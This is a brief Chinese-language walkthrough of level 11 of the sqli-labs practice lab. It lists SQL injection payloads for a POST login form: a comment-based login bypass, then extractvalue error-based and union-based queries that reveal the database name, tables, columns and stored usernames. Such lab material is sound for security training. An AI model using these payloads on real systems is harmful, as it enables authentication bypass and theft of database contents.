本关为POST请求:

输入:admin‘#

密码:随意

sqli-labs-master  第十一关

 

 

爆出当前数据库:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,database(),0x7e))#

              payload2:admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

              payload3:admin ' union select 1,database()#

密码:随意

sqli-labs-master  第十一关

 

 

 爆数据表:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#

密码:随意

sqli-labs-master  第十一关

爆数据列:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='referers' limit 1,1),0x7e))#

密码:随意

sqli-labs-master  第十一关

 

 爆信息:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,(select username from referer limit 1,1),0x7e))#

密码:随意sqli-labs-master  第十一关

 

相关文章: